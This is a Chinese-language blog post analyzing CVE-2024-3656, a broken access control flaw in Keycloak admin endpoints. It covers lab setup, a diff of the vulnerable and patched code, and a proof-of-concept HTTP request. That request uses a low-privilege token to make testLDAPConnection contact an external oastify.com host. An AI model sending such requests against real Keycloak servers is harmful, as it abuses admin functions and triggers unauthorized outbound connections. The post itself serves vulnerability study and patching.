CVE-2024-3656 - Keycloak 管理 API 允许低权限用户使用管理功能

admin 2024年10月13日17:59:13评论51 views字数 2422阅读8分4秒阅读模式

CVE-2024-3656 - Keycloak 管理 API 允许低权限用户使用管理功能

Keycloak <24.0.5 容易受到 Broken Access Control 漏洞的影响,攻击者可以使用任何经过身份验证的用户执行某些 api 操作,例如:

通过testLDAPConnection端点测试 LDAP 连接。通过getUnmanagedAttributes端点检索任何用户的非托管属性。通过getProviders端点访问客户端注册策略提供程序。

我只发现 testLDAPConnection 很有趣,因为攻击者可以与外部主机的 LDAP 进行交互。

首先从这里下载存在漏洞的 KeyCloak 24.0.4 版本https://www.keycloak.org/archive/downloads-24.0.4.html

然后解压 Zip 文件并运行命令bin/kc.sh start-dev

CVE-2024-3656 - Keycloak 管理 API 允许低权限用户使用管理功能

现在您将在 localhost:8080 上运行它,创建一个新的管理员帐户,然后登录到该管理员帐户,现在为普通用户创建一个新领域,然后在该领域中创建具有用户权限的用户

CVE-2024-3656 - Keycloak 管理 API 允许低权限用户使用管理功能

根据修复漏洞“某些管理端点缺少身份验证检查”的提交https://github.com/keycloak/keycloak/commit/d9f0c84b797525eac55914db5f81a8133ef5f9b1

我们发现有3个文件已被修改:

  • TestLdapConnectionResource.java

  • UserResource.java

  • ClientRegistrationPolicyResource.java

分析TestLdapConnectionResource.java中的代码变化:

(有漏洞的代码):

public Response testLDAPConnection(TestLdapConnectionRepresentation config) {
    try {
        LDAPServerCapabilitiesManager.testLDAP(config, session, realm);
        return Response.noContent().build();
    }
    // Exception handling...
}

没有权限检查。任何经过身份验证的用户都可以调用testLDAPConnection并执行 LDAP 测试,这是一种管理操作。

(修补代码):

public Response testLDAPConnection(TestLdapConnectionRepresentation config) {
    auth.realm().requireManageRealm(); // Added permission check
    try {
        LDAPServerCapabilitiesManager.testLDAP(config, session, realm);
        return Response.noContent().build();
    }
    // Exception handling...
}

CVE-2024-3656 - Keycloak 管理 API 允许低权限用户使用管理功能

添加此行auth.realm().requireManageRealm();是为了检查用户是否manage_realm在该领域具有管理员权限(角色)。

这意味着任何拥有任何领域的用户都可以发送请求到/admin/realms/users/testLDAPConnection

现在在新浏览器中打开链接http://localhost:8080/realms/users/protocol/openid-connect/auth?client_id=account-console

使用您创建的用户登录,然后 grep 授权:Bearer <>

向存在漏洞的端点发送 HTTP 请求:

POST /admin/realms/users/testLDAPConnection HTTP/1.1
Host: dzdz.me:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
authorization: Bearer <xxxx>
content-type: application/json
Content-Length: 265
Origin: http://dzdz.me:8080
Connection: close


{

    "action": "testConnection",
    "connectionUrl": "ldap://xxxxxxxxxxxxxxxxxxxxxxx.oastify.com",
    "bindDn": "cn=admin,dc=example,dc=com",
    "bindCredential": "password",
    "useTruststoreSpi": "ldapsOnly",
    "connectionTimeout": "5000"
}

在参数中connectionUrl输入您的外部主机并发送请求,

然后您将收到 DNS 交互

CVE-2024-3656 - Keycloak 管理 API 允许低权限用户使用管理功能

您可以使用 getUnmanagedAttributes 和 getProviders 应用相同的操作。

参考: 

https://github.com/keycloak/keycloak/commit/d9f0c84b797525eac55914db5f81a8133ef5f9b1

https://github.com/advisories/GHSA-2cww-fgmg-4jqc

原文始发于微信公众号(Ots安全):CVE-2024-3656 - Keycloak 管理 API 允许低权限用户使用管理功能

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月13日17:59:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2024-3656 - Keycloak 管理 API 允许低权限用户使用管理功能http://cn-sec.com/archives/3262467.html

发表评论

匿名网友 填写信息